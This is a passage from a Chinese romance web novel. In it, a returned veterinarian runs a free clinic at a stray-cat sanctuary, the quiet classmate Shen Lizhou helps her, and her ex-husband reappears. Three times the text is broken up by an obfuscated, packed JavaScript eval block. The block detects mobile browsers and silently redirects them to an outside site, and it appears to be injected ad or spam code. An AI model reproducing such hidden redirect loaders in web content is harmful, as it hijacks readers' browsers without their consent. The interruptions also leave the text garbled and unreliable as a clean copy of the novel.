;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530153|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
施然怔怔垂眸,望向自己的手。
肌肤略显粗糙,手背上有几道浅浅的白印,虎口处有一小块淡粉色的疤。
猫挠的,狗抓的,还有牛蹄踢在铁栏上,崩起来的金属片划的。
程子淼当时为了这些事情没少和她吵架。
他竟然恭喜她。
她很难得地伸出自己的一双手,在阳光下仔细地望,每寸肌肤,每个伤疤,都有它的来龙去脉,像无法消逝的军功章。
“和高中时很不一样,”她皱起鼻子,端详着那略显粗糙的皮肤,道,“好像有点丑。”
“没有。”沈礼周停顿片刻,道,“很漂亮。”
“哈,漂亮肯定谈不上,你没见我之前在猪场实习的时候……”施然笑着,话说了一半,突然顿了下。
她想到那次实习时突然遇到几只仔猪一起爆发腹泻,她在旁忍不住吐了,被她的搭档陆知非在一旁狠狠嘲笑,又咬牙顶上,一下折腾到凌晨,才发现错过了程子淼的生日晚宴。
恶臭的味道怎么也洗不掉。
时间太赶,妆容化的潦潦草草。
习惯了牛仔裤,下车的时候高跟鞋甚至不小心踩到了自己的裙摆,差点崴了脚。
她步履急急,跌跌撞撞走进那灯火通明、衣香鬓影的世界。
水晶吊灯垂坠如瀑布,香槟塔折射着细碎的金光。
男人们腕表上的钻石,女人们脖颈间的珠宝,在暖黄的光线里交相辉映。
空气里飘着高级香水与陈年红酒混合的、甜腻而矜贵的气息。
而程子淼,就站在这一切的中心。
他被人们团团围着,脸上仍带着那懒洋洋的笑。
看到她来,也只是噙着那笑,遥遥地、漫不经心地朝她举了一杯。
仿佛毫不在意她的迟到。
也是。
有没有她都一样。
程大少爷的世界永远五彩纷呈,永远热闹。
她也一样。
于是施然也好像只是不小心遗忘了他生日似的,遥遥举起杯,带着不太真诚的歉意,朝他笑了笑。
“……那些时候,真的很狼狈,一点都不漂亮。”施然继续道。阳光下,手上浅浅的伤疤像一道蜿蜒路径,通往未知的前方。她垂眸望了一会儿,然后朝沈礼周笑了笑:“但我想要拥有的,远不止漂亮。”
扑通。
扑通。
什么东西好吵……
沈礼周想要抬起手按住自己不听话的心脏,又生生忍住了。
“不过我已经有段时间没有工作了,手都生了,手术刀都快忘了什么样。”她叹息着,语气里都是怀念,“……甚至也已经有些忘记了。这种当医生的感觉。”
被小动物毫无保留地依赖着。
与湿漉漉的真诚目光对视着。
用自己的能力救回一条小生命,从心底涌出的、真实的、充盈的快乐和满足感……
“或许,”沈礼周突然开了口,又顿一顿,好似自己都没有预料到自己要说些什么,但停了几秒,还是继续问下去,“你可以来生生庄园看诊试试?”又低声补充道,“……如果你需要的话。”
施然一怔。
她看向沈礼周,那双琥珀色的眸如琉璃般清透,完整倒映出她慢慢亮起的眼睛。海风带着初春的暖融气息扑面而来,将那些灰暗的、痛苦的、陈旧的记忆全部冲刷掉,她空空荡荡的心中,突然燃起了些许勇气的火苗。
“当然可以啊。”她听见自己说,“方便吗?我可以做次义诊试试。”
如果这一次能够做好,如果她没有想象中的那么生疏,或许她可以……
“当然。”沈礼周道。停了停,又有些笨拙地重复王理想的话,“生生庄园随时欢迎你,施医生。”
继续做兽医吗?
念头一旦冒出,就像夏日的藤蔓,蓬勃,雀跃,瞬间缠绕整个心脏。
“所以,你什么时候有空,”施然笑意盈盈地望向他,眼眸明亮,“来看施医生重新上岗?”
6.今天
陈安可早上七点接到施然的电话。
电话吵醒她昨夜约会新认识的新弟弟,弟弟茸茸的脑袋在她心口蹭来蹭去,开心他醒来的时候她竟然还在这里。
“陈安可,”施然的声音朝气蓬勃,“起床了吗?陈安可!陈安可!”
“滚啊……早上七点,狗叫什么?”
陈安可烦闷得很,暗恨施然这一个电话要她早上没溜掉,一不小心又多好多麻烦。唔,身边这一直蹭她的男孩叫什么来着……?
“昨天还叫人家小甜甜,今天就翻脸不认人哈。”施然笑嘻嘻道,“陈大博主,今天上午有没有空,我带你去免费撸猫。”
“大小姐……”陈安可感觉太阳穴愤怒地一跳一跳,“你时差还没倒过来不是?这个点儿哪家猫咖开门?”
“不是猫咖,是流浪猫庄园。哦,顺便告诉你个事情,”施然极其自然地道,“你朋友我,现在是一名光荣的持证兽医。”
“……”
胡说八道什么呢。
陈安可费了九牛二虎之力把弟弟哄出了门,又风风火火地翻找起器材。
施然临时起个意,就把她催得团团转,她背着长枪短跑刚钻进电梯,电话又打来:“我到你小区门口啦!别化妆了,你那视频又不露脸,怕什么……”
“露脸又有什么,我现在貌美如花。”陈安可的太阳穴继续跳,她稳住心神,望着电梯闪烁着的楼层指示灯,努力给好不容易回来的留子好朋友多一分耐心,“施然大小姐,你给我布置这么重要一任务,我总得找找合适的器材吧?就算互联网一线牵,但也要尽量拍得好看点儿,才能找到正缘啊……”
话音一顿。
电梯停在陈安可最不想停在的楼层,然后进来一个陈安可目前最不想见到的人。
她的邻居、同学、发小,施然的前夫,程子淼。
和从前没半分差别,一身剪裁合体的高定西装熨帖得没有一丝褶皱,衬得肩宽腰窄的身形愈发挺拔,腕间名表泛着细碎冷光,端的是一副精致矜贵、人模狗样的好皮囊。
他抬步走进电梯,裹挟着一缕极淡的冷冽雪松调男香,漫不经心地抬眼,目光落在陈安可脸上时,眉梢微不可察地挑了一下。
陈安可翻个大白眼。
都离婚了,还跟个孔雀一样,也不知道开屏给谁看。
两人还未来得及打招呼,程子淼的手机便骤然震动起来。
屏幕亮起,陈安可眼尖,一眼就扫到来电人——林芋嘉。
她眼皮猛地一跳。
林芋嘉,小学时期就跟在程子淼屁股后面跑的骄纵大小姐,陈安可还不认识施然时,吃过林芋嘉送来的零食,甚至还帮林芋嘉送过情书给他!
他们现在还在联系?
不……他们一直都有联系?
“喂,”程子淼接起来,语气熟稔带笑,“芋嘉。”
电光火石间,陈安可指尖攥紧手机,音量加大:“施然!我告诉你!世上男人千千万,你放心好了,有你闺蜜我在,绝对帮你把这事儿搞定!”
电梯门打开。陈安可径直挂掉电话,将身上那长枪短跑的摄影器材一紧,仰头挺胸地往小区门外走去。
一步。
两步。
三步。
“呦,”身后响起懒洋洋的声音。“这不是陈安可吗?”
陈安可回头,抱臂冷冷地望他。
程子淼微微挑眉,那双深邃的桃花眼望人时自带笑意,可惜嘴太贱:“月球表面抚平了,丑小鸭变天鹅,一时没认出来呢。”
“你去死吧。”陈安可咬牙道,“我上大学的时候就痊愈了。参加你们婚礼的时候就这样!”
“是吗。”
程子淼毫不在意地耸耸肩,引来陈安可的怒目而视,她一摆手:“不和你说了,打你的暖男热线电话去吧。我还有要事……”
“什么要事啊?”程子淼嗓音仍含笑,又发沉,带着点说不清道不明的压迫感,“少做一些多余的事。”
……
“程子淼和林芋嘉——”
陈安可急急地拉开车门,坐进去,一句话没说完,发现前面陌生的男人气质不太像司机,速速闭了嘴。
“……”施然介绍,“陈安可,沈礼周。”
车子启动,沈礼周从后视镜望向她,道:“你好。”
“你好。”陈安可抬眼,迟缓的脑子转了一转,“沈礼周?!”
“好久不见。”沈礼周很自然地接话。
“好久不见……”陈安可有点卡壳,望向施然,拽起个笑,“你们怎么会在一起呀?你们……难道一直有联系吗?”
“没有呀,回来遇到的,他带我们去流浪猫庄园。”施然歪歪头望她,眼神是探询,“怎么了?”
沈礼周不经意地抬眼,和陈安可对视一瞬,两人双双落下视线。
“见到老同学有点激动嘛,”陈安可对施然绽开笑容,挑挑眉,“毕竟这么帅呢,小猫校草,哈哈。”
“什么小猫校草?”施然问。
“你不知道?”陈安可有些惊讶,“就是他当时在教学楼高台上救下了那只小猫后,女团社给他的封名呀。”
女团社……
施然微微眯起眼睛,有些怀念。
莲市一高没什么升学压力,大家最不缺的就是钱和闲,心思便都花在了别处。
社团活动要出彩,校刊封面要争抢,艺术节、体育节、文化祭,一个比一个卷。女团社应运而生,在她们的大力推动下,莲市一高就连校服都比别家多出两套夏装三套冬装,还是专门请的设计师。
年纪轻,看什么事都有趣。其中最有趣的事情还是坐在一起,挨个点评男生。
一到体育课,女团社的成员们便在树荫下一坐开始点评:这个是挺帅,但老整理发型,帅而自知,油腻了一点;这个脸还行,但个子矮了点;这个形象好气质佳,学习又差一点……
比来比去,最后总绕回一个名字。
“你们说程子淼——”
这个现象一直延续着。
直到后来,沈礼周在教学楼高台上救下一只小猫。
他平日里存在感太淡,喜欢戴口罩,又都是独来独往,永远游走在人群的最边缘,导致女团社从前还从未发现如此宝藏。
而救小猫事件惊动校方,学校连夜加装防护网,上面一路从副校长、年级主任、班主任追责下来,把沈礼周反复教育一番,又到各个班级作典型,小猫校草也因此被大家熟识。
“你真敢啊,不要命了。”陈安可唏嘘道,“那么高的高台,半个身子悬空在那里捉那只小猫……”
车子开过漫长幽深的隧道,开过一道窄桥,开过两旁灰扑扑的山壁,然后豁然开朗。
桃李交映,花开得正盛,风一吹,泛起细微的浪。
一块原木色的招牌斜斜的立着。
上面刻着四个字:生生庄园。
他们到了。
王理想和小玉热情洋溢地迎接他们。
“欢迎沈先生,欢迎施医生!”王理想脸上的肉都笑颤了,“欢迎陈大博主!”
陈安可连连摇手,道:“不敢不敢。”
余光中,她已将生生庄园打量一番。
青砖院墙爬满盛开的三角梅,铁艺大门敞开着,几只猫肚皮朝天,懒洋洋地躺在石板上晒太阳。院子深处是一排白墙灰瓦的平房,窗明几净,窗台上摆着绿萝和开了花的仙人掌。
这里不像收容所,倒像某个有钱人的度假别院,只是住客换成了毛茸茸的小动物。
陈安可想起早上查的资料。
生生庄园从不公开募捐,所有运营费用都来自创始人个人的投入。看这光景,确实不是小数目。
正想着,身后传来动静。
沈礼周正弯腰从后备箱里往外搬东西,施然正站在他身旁笑着说些什么。
阳光正好,不偏不倚。落在他清隽侧脸和线条分明的小臂上,也落在她一双温婉笑眼和纤细身影上。
竟然莫名地登对,甚至像一对开车来露营的年轻情侣。
哎。要是当时……
陈安可感觉鼻子有些发酸,突然有些想叹气。
她揉了揉鼻子,视线被他们搬出来的东西吸引——
便携式B超机,折叠手术台,消毒箱,几大袋药品和耗材……王理想和小玉也在一旁帮忙,一起把那些器材一样一样码在小推车上。
陈安可傻眼:“施然,你真的是兽医啊?开玩笑吧?”
施然轻飘飘地瞥她一眼:“我怎么会拿我的事业
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532569|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开玩笑。”
“……”
很快,陈安可便真的见到施医生的风姿了。
白大褂一穿,长发被挽成高高的髻,碎发用一次性头网兜得干干净净,挂上听诊器,戴一层薄薄的PE手套,再套上医用橡胶手套,朝陈安可摆摆手,炫耀:“防抓防咬。”
然后开始抓猫。
冻干、肉条、猫罐头、各种玩具都用上,王理想负责堵墙角,小玉举着罐头引注意力,施然安静地坐在一旁,好似毫无威胁。
于是那橘猫放松警惕,脚步轻轻地一步、两步……慢慢接近。然后在距离最近的瞬间,施然手腕一翻,扣住它的后颈,另一只手顺势托住屁股,稳稳抱进怀里。
橘猫挣扎了两下,被她顺着后背摸了两下,居然就蔫蔫地不动了,只敢小声哼唧。
临时义诊棚就搭在庄园的空地上,地上铺着蓝色消毒垫,两张折叠桌拼在一起当诊疗台。施然把抓来的橘猫放在台上,摸了摸它的体温,翻开眼睑看了看结膜,然后拿起检耳镜。
陈安可迅速拉开长枪短炮开始给小狗小猫拍视频,拍了些施大医生的宝贵录像。期间还不忘记发个朋友圈。
“右耳重度耳螨,左耳轻度,背上三块猫癣,基本健康,大概四个月大。”施然用棉签沾了洗耳液伸进猫耳朵里,橘猫疼得甩头,她手腕用力按住它的脑袋,语气危险,“啧。乖哦,越动越疼。”
橘猫一动不敢动了,陈安可的镜头凑近过来,施然展现那只乖乖橘猫:“是不是很可爱?”
小玉在一旁介绍:“它的名字叫鸡蛋哦!它最喜欢吃鸡蛋啦。”
“欢迎有缘人联系领养,”王理想也帮腔,“是只小公猫,在车底捡到的。”
每个人都各司其职,热热闹闹。
只有一人除外。
沈礼周背靠着一棵树,整个人陷在浓郁树荫里,视线有些空茫。
整个义诊棚的热闹,猫叫、人声,都像隔着水传过来,模糊又遥远。
水,是的,水,他总觉得自己望向世界的方向,是一团灰色昏昧的水。他被那水包裹着,周遭的声响全在水里泡得发涨变形,听不太清。
偶尔有猫从他脚边窜过,带起一阵风,他的身体轻微而迟滞地僵住一瞬,又慢慢地松开。
活着这件事本身,就像是在水中憋气,已经用掉他所有的力气。
连恐惧都已经变得迟钝而麻木,更不要提什么额外的情绪。
就这样吧。
慢慢,慢慢。
全部沉入深不见底的潭水里。
“沈礼周!”
什么声音撞进来。
水面波动,他迟滞地眨了眨眼睛。
“沈礼周,”施然在不远处笑着,声音清脆,悦耳,“过来。”
空洞的眼神慢慢聚焦,落在她身上。顿了两秒,沈礼周抬起脚,向她的方向走来。
步子很轻,施然看着他,像看一只生病的小猫。
“帮我登记建档。” 她不容分说地把笔和本子塞进他手里,指尖触到他的皮肤,冰得像一块玉。她拉过那张离诊疗台最远、背对着猫笼的折叠椅,推到他面前:“你坐在这儿。我念什么,你写什么。”
沈礼周握着笔,在椅子上坐下。
档案本平摊在桌面上,阳光透过树叶的缝隙,在纸面上投下晃动的光斑。
他低下头,笔尖落在纸上。
“名字年糕,玳瑁母猫,大概一岁半,唔……趾间炎,有点感染。”施然道。
小猫的爪子有些发红。施然用生理盐水反复冲洗伤口,把脓液和脏东西一点点冲干净,用碘伏彻底消毒,然后涂上药膏,用纱布一圈一圈缠好,打了个整齐的蝴蝶结,道:“三天后换药,如果流脓要打消炎针。一周后复查,彻底痊愈才能领养。”
笔尖跟着她的声音唰唰轻响。
施然余光望去,看到他安静的侧脸,还有长睫投下的淡淡阴影。
好奇怪。施然抱起下一只小猫,分神想。
当年的小猫校草,为什么会如此害怕小猫?
“施医生,”小玉在旁边提醒道,“您电话响。”
施然戴着手套不便接,问小玉:“谁的电话?”
小玉看了看屏幕,甜甜地笑:“是——老公!”
7.今天
施然走到一旁。
“老公”两个字映入她眼帘,让她一时有些恍惚。
这还是程子淼自己拿她的手机改的。
在新婚之夜。他拿过她的手机,说早就看“橙子喵”那三个字不爽,还很强硬地把这两个字举在她面前,逼她喊一声试试。
她耳根很烫,硬着头皮问喊什么?他说老公啊。她坏心眼地笑着答应,说哎,老婆。程子淼说你真幼稚。她立刻说你才幼稚。两个人像小学鸡一样拌起嘴来。最后程子淼吻住了她。
吻细细密密,一路向下。
温柔,软绵,轻得不像是程子淼。
她知道他最喜欢她纤细修长的手指,因为每次演出后他都会捉过她的手指轻啄一下。
果然他最后含住了她的指尖,然后望着她,用那种含糊又动人的声音轻声说我好爱你,老婆。
说话时软舌微勾,指尖传来的温热触感,如电流一般,一路流窜过她的四肢百骸。
他望着她的模样,让她第一次觉得,那双潋滟的桃花眼中也有可能只盛下她一人。
那也是他第一次说爱她。
施然摘下手套。
指尖有些皱了,微微发麻,冰凉,带着刺鼻的、消毒水的味道。
她平静地接起电话:“喂。”
-
施然的身影走远,沈礼周停止了记录,安静地垂下眸。
陈安可也放下摄像机,暂停了录制。
她走上前,主动和沈礼周搭话:“真没想到哈,施然竟然会去做兽医……”语气里带着些探寻的意味,好似笃定他早知情似的,“不过意外地竟然很适合她,是吗?”
“是。”沈礼周的回答很简短,客气,疏离,辩不出什么多余的情绪。
和高中时期一样,难以接近。
“大家的变化都好大啊。当时数学一塌糊涂的艾丽,现在竟然去做律师,帮人分家产、抢孩子,一分一分地算得可清楚了。哦,包成功你还记得吗?家里搞餐饮的,反而去做了八竿子打不着的记者。我也是,以前最烦写作文,现在莫名其妙地搞上了自媒体,天天绞尽脑汁琢磨文案。”陈安可笑笑,“你呢,我记得你大学读的是金融?最近在忙什么?”
沈礼周反应有些钝。
他抬眸望向她,好似过了几秒才听清她说什么似的,道:“没什么……一些琐事。”
“琐事?”陈安可笑起来,“不会是那种金融界动辄上千万的琐事吧?”
陈安可有意探寻这位神秘高中同学的底细。
高中毕业到现在还不到十年,经济环境一年更比一年差,不少企业破产,富家子弟一夜返贫,她很好奇,到底是什么“琐事”能让当年贫困到吃不起饭的穷学生摇身一变,随随便便开上大几百万的车,还让这么个堪称豪华的流浪猫庄园老板对他恭恭敬敬?
沈礼周摇了摇头。
他回答:“美术设计相关的。”
“啊,”陈安可有些吃惊,“你还在画画啊。”
她垂眸望向沈礼周面前那档案本,发现上面不仅有着极为漂亮的字体,旁边还都画上了小猫的肖像图。
虽然只是卡通简笔画,但各个传神,一眼便能辨认出是生生庄园里的哪只猫咪。
那画的风格很眼熟。
和高中时她看到的素描本的风格一致。
高二下半学期结束,开学那天,陈安可来得尤其早。她疯玩一寒假,就靠早上这一会儿时间,赶紧抄一抄作业。
学习好的人有很多,但她最爱抄的是沈礼周的作业。原因无他,只因为他的字尤其赏心悦目,抄起来心情愉悦,甚至还会有些练字效果。
而且他要送弟弟上学,总是来得最早。这天早上,他的书包放在桌里,人不知道去了哪儿,陈安可心急,直接上前翻找起来,无意间,翻出了一个奇怪的本子。
干净的白色封皮,上面一字未落,没有署名。
翻开,里面的每张画都惟妙惟肖。
上课时突然坐直,被窗外的小鸟吸引走注意力的;
挽着朋友的手臂一起去卫生间,一路兴高采烈聊八卦的;
吃到好吃的零食而满足地眯起眼睛的;
朝一些很没品的男同学露出危险笑容的;
因为家人担心手受伤而被禁止上排球课,冷冷抱臂站在一旁的……
全部都是同一个女孩。
沈礼周不知何时出现,那双浅淡的瞳毫无感情地瞥过她,然后从她手中抽出那个素描本,细细理平被翻阅出的皱褶。
陈安可不小心窥视了别人的秘密,感觉脸上的痘痘发红发烫。
“抱歉。”她道,“我不是故意的。”
沈礼周理好了那素描本,重新放入书包中,道:“没事。”
年轻男生的神情很自然,仿佛完全没打算遮掩。陈安可却更加不知所措。
她犹犹豫豫,张张嘴,又抿住没说,脑海里想的全都是程子淼和施然的事情。直到沈礼周自己开了口。
“我知道她喜欢程子淼。”沈礼周道,唇扯了扯,有很轻的弧度上扬,“没事。”
于是陈安可舒一口气。
“那就好。”她道。说完,下意识地想鼓励他那么一句,又想到施然很快要出国进修钢琴,程子淼也打算一起出国,便觉此事没什么周旋之地。紧接着联想到自己无疾而终的初恋,深深叹了口气,道,“其实每天见面就很难忘记的。等她出国以后就好了。总会走出来,遇到更合适的人的。”
沈礼周没说话,脸色有些发白。
教室的窗户被冷风吹开,冬末春未来,暖气停了,寒意渗入骨髓。
太冷了。他递给陈安可作业的时候,纸张微微地颤。
后来陈安可有想和施然提过此事。
她记得很清楚。她只是找了个岔口,道:“我觉得沈礼周喜欢你……”
话还没说完,便被施然打断了。
“你不要乱觉得。”施然不太赞同地望她一眼,温声道,“如果喜欢一个人,就一定会和对方告白。如果没有告白,那就是不喜欢。这种猜测是很不负责任的。”
陈安可立刻想到最爱欲擒故纵的程子淼,和从来都以牙还牙以眼还眼的施然,默默闭了嘴。
这俩人可从来都没有向对方告过白,难道是互相都不喜欢对方吗?
但这话陈安可才不敢说,说了肯定要挨批评,多晦气。
不远处,施然打完电话走了回来。
她面色平静,很快重新戴上手套,招呼她:“继续吧。”
陈安可举起摄像机前,又瞄了一眼沈礼周的登记本。
她觉得他画施然是一种画风,画小猫小狗又是另一种。
不知道为什么,总觉得自己好像在哪里见过。
“英短,六个月,”施然的声音继续响起,“唔……右侧髌骨一级脱位。”她手指又轻轻推了推髌骨,能感觉到轻微的滑动,“纯种英短常见的先天性问题,现在还轻,没影响走路……”
年轻的男人端坐在一旁,笔尖跟着挪动起来,沙沙轻响。
义诊结束时,天空已经漫成了浓郁的蓝调。
庄园里的路灯次第亮起来,暖黄的光像融化的黄油,落在蓝丝绒般的暮色里,小猫绕在他们腿间打转,风里带着傍晚的凉意,混着青草的湿润气息。
施然将手套扔进医疗废物袋里,伸了一个长长的懒腰。
陈安可蹲在地上摆弄相机,沈礼周将折叠手术台拆开叠好,又把B超机、消毒箱和剩下的药品耗材一件件整理完毕。
王理想一声声地道谢,小玉已然成为施然的铁杆粉丝,也和小猫一样绕在她身边,不停地问她一些兽医相关的知识,说自己长大后也想和她一样,成为一名兽医。
“你当然可以啦,你比我还有耐心。”施然笑着摸摸她的头,又弯下腰来,在她耳边小声说,“但兽医要考上大学才可以哦。你再找理由不去学校的话,可就没办法当兽医了。”
小玉迅速涨红了脸,转头去看王理想,王理想本来正期期艾艾地望过来,见状迅速瞥开目光。
“今天是周三,不是寒假,也不是暑假,你在这里当整整一天志愿者,还需要他告状吗?”施然笑了,她望着小玉,道,“上学就是会遇到很多困难的。学不会某门功课也好,和朋友们相处不来也好,甚至受委屈、受欺负……但当兽医也一样。功课很困难,考试很困难,猫猫狗狗不理解你,有时他们的主人更不理解你,简直难上加难。你如果现在不能硬着头皮去面对困难,未来又怎么能成为你想要成为的人呢?”
小玉咬住唇,不说话了。
施然再次拍拍她的脑袋,道:“长大后你就成了我。如果有一天想要和未来的自己讲一讲,理想哥那里有我的电话。”
她说完话,感到旁边的视线,转头,便和沈礼周四目相对。
男人浅色的眸被夜色浸得更加
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534491|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柔软,清透,灯光映在瞳孔里,像细碎的星光。星光眨了眨,他轻声道:“我们走吧。”
他们和王理想告别,一同走出生生庄园。
“真服了你了,施然。”陈安可终于有闲心问了,她简直百思不得其解,“你到底是怎么成为兽医的啊?”
“其实高中就在想,但一直没迈出那一步。”施然道,“后来出国了嘛,下定决心不弹钢琴,把我妈心脏病都气出来……最后他们终于同意了。”
陈安可想到施然的妈妈就头皮发麻:“但国外兽医也不是随便就能读的吧?”
“美国的兽医学是博士项目,得先读完四年本科先修课,GPA要接近满分,还要有上千小时的动物临床经验,录取率不到10%。”施然笑了笑,“我当时什么都没有,只能先去社区大学补生物、化学、解剖学这些课,白天上课,晚上去宠物医院打零工当助理,洗笼子、打扫卫生、给动物喂药……什么都干。”
“说来也神奇,”她道,“那会儿我很喜欢在网上吐槽,也经常咨询这些信息。有个网友,可能是学长还是学姐,也是华人……私聊我说,华盛顿州立大学有个临床兽医学教授最近可能在招人,让我去试试。顺便给了我一个邮箱。我就整理好所有的资料发过去,没想到对方真的给了我一个面试的机会。”
“互联网上还是好人多啊,那时候大家的戾气也没那么重,不像现在……”陈安可感叹,“后来呢?和那个热心网友还有联系吗?”
“刚开始还有的。”施然踢着路边的蒲公英,白色的绒絮随风飘起来,“我拿到录取通知书那天,第一个告诉的就是他。但他后来好像回国了,我的学业也越来越忙,每天泡在实验室和动物医院,聊天就少了。再后来慢慢就断了联系。”
“爱情友情都一样,根本抵不过时间和距离。”陈安可叹口气,手机响起来,她眼睛一亮,“我的crush来接我了。先走一步!”她边跑还不忘叮嘱,“旧的不去,新的不来,宝贝信我,总会有新的爱情和友情!”
施然好笑地应了一声,看着陈安可轻快的背影。
夜风吹拂,她拿出手机,心血来潮地搜索那个对话框往上翻,看到几年前的自己。
稚气,莽撞,带着一股绝不服输的傻气,还有对生活无穷无尽的分享欲。时而吐槽有机化学不是人学的东西,时而炫耀自己是如何通宵未眠救活了一只出了车祸的小奶狗……
或许是网友的原因,她可以毫无包袱地和对方聊天,有些她当年天马行空的雄心壮志,还有些相当中二没头没脑的傻话,让现在的她看来也有些汗颜。
【我想救活全世界的动物,还想给它们一个家。】她那时刚给一只无人领养的流浪猫做了安乐死,心情很低落,【但我知道我做不到。我第一次这么明确地知道,原来我根本做不到我想做的事情。】
那个热心网友有一种奇异的敏锐,隔着屏幕和万水千山的距离,总能准确地感知到她的情绪。
他的回复也永远都很及时,带着一种令人心安的稳定。
【世界上有很多人。】热心网友说,【在你看不到的地方,会有其他人和你一起,完成你的理想。】
而最后几条消息,是她决定结婚前夕,发过去的几张和程子淼的合影。
她说她准备结婚了,这是她的未婚夫,是不是很帅气。
那边好似在忙,沉默了很久,才回过来消息。
【恭喜你。祝你永远幸福,永远开心。】
施然回复:【谢谢!也祝你永远幸福,永远开心!】
对话就结束在这里。
啪嗒。
一滴雨水落在屏幕上。
施然回过神,抬起头,光线在这瞬间暗了下来。宽大的伞面笼在她发顶,遮住了路灯,也遮住了开始淅淅沥沥坠下的雨。
“下雨了。”
沈礼周的声音很轻。
夜风吹得很急,年轻的男人准确地迈了半步,站在风来的方向。于是小小的伞下没有了风,也没有了雨,自成一片天地。
离得这样近,施然才第一次真切地察觉他的身高。
好像和程子淼差不多,甚至比程子淼还高一点,需要她微微仰起头,或将他拽低下来,才能看清楚他的模样。
但他极为自然地低下头来望她,那双琥珀色的眸被雨雾浸得清透,完整地倒映出她的模样。
顿了顿,他问。
“你心情不好?”
8.活下去
……她心情不好?
施然有些迷茫地想。
她为什么会心情不好?
因为好不容易读完了兽医却又放弃?
因为就算放弃了当兽医也还是和程子淼离婚了?
因为两人虽然离婚了,但双方父母仍被蒙在鼓里,平日里亲如一家人,连生意也骨连着骨,筋连着筋,甚至还要一起回国探望他们?
还是因为程子淼刚刚打来电话告知父母行程的时候,用的那种陌生的、公事公办的冷淡口气?
“……可能是下雨的缘故。”
施然笑了笑,随便搪塞他,“我不喜欢下雨。好像天在哭泣。”
沈礼周沉默着,睫毛垂下来,在眼下投出一小片温柔的阴影,像在解一道题。
几秒后,他忽然转动了手中的伞柄。
黑色的伞面在他手里慢悠悠地转了个圈,像一朵在夜色里盛开的墨色睡莲。
伞沿上的雨珠被甩出去,划出优美的弧线,像无数亮晶晶的碎星,在地上溅起小小的水花。
“也有可能是天女散花。”
他这样说,语气很认真,甚至有几分乖巧,乖巧到施然忍不住“噗嗤”一声笑出来。
她突然想起她小时候最爱这样子转伞玩,而且当时自己好像也美其名曰“天女散花”。
“幼稚。”施然笑着道,“天女为什么突然散花?”
他见她笑,好像轻轻松一口气,决定乘胜追击,于是又道:“因为施医生今天给小猫小狗看了病,所以天女的心情很好,散下花来,泽被苍生。”
沈礼周说话的语气向来温柔而缓慢,说什么事情都显得很认真,像哄小孩儿一样。施然觉得这都要归功于他带大了他那个可爱的、冰雪聪明的弟弟,沈乐为。家中有兄弟姐妹的人是和独生子女有些不一样,她想。
“好的,那谢谢天女为我散花。”施然笑着问,“对了,乐为最近怎么样?”
沈礼周没有回答。
等了几秒,等到施然有些疑惑地抬眼望向他。
这次他却没有和她对视,只是平直地望向前方。
施然顺着他的视线望去。
黑色的伞面,黑色的豪车。有男人懒懒站在车旁,指尖捻着一根烟。
那一点猩红在雨雾中忽明忽暗。见她望过来,随手在旁揿灭。然后哑着嗓子唤她。
“施然。”
熟悉的、磁性的男声。
不知是不是被雨网过滤的原因,竟有几分疲惫的软和,不太像平日的程子淼,反而让施然想到他生病动手术的那段时光。
那时她去邻国的一所兽医院学习交流,问询风尘仆仆地赶回来,他做完了手术,迷迷糊糊地躺在病床上,也是这样唤她的名字。
施然。施然。施然……
她走近他,握紧他的手,他猛地醒来,望着她,慢慢地眨了几下眼睛,然后闭上,将她的手掌拉向自己脸旁,贴合住,小声嘟囔着抱怨。问她怎么才来。她想道歉的,但是没说出口,只笑笑,说不是有很多人照顾你吗,他的麻药好像也过了劲,很快清醒过来,放开她的手,倦怠地道那是当然。
“你怎么来这里了?”施然不自觉地放轻了些声音,又很快恢复平常,“不是说晚上我去找你吗?”
程子淼没有回答,那双桃花眼无波无澜地扫过沈礼周,然后拉开车门,对她道:“爸妈要我来接你。”
又恢复了那冷淡的模样。
让人觉得那某一瞬间的脆弱完全是错觉而已。
沈礼周很安静地撑着伞,送施然坐进程子淼的车。
施然有些心烦意乱。
她没有想到父母这么快就已经回了国,也没有想好要如何和程子淼告知父母他们离婚的消息。毕竟程子淼是他们千挑万选出来的最满意的女婿……
爸爸那边还好一些,妈妈的心脏不好,之前决定不弹钢琴彻底触了她的逆鳞,两人关系已经搞得很僵,一年都没怎么说过话,后来才慢慢缓和。如果告诉他们是她执意要离婚的话……
思绪乱飞之中,沈礼周向她告别。
“那么,”他轻声道,“施然,再见。”
“再见。”施然道。
他扬了扬唇角,笑意很淡,温柔地关上车门。
车门关上的瞬间,外面的雨声被隔绝了许多,世界忽然安静下来。
施然靠在座椅上,隔着起雾的车窗,发现沈礼周竟然被雨淋湿了大半,而她身上干净而清爽。
他自己撑起的伞没有为他自己挡雨。
于是整个人湿淋淋的,安安静静的站在原地。
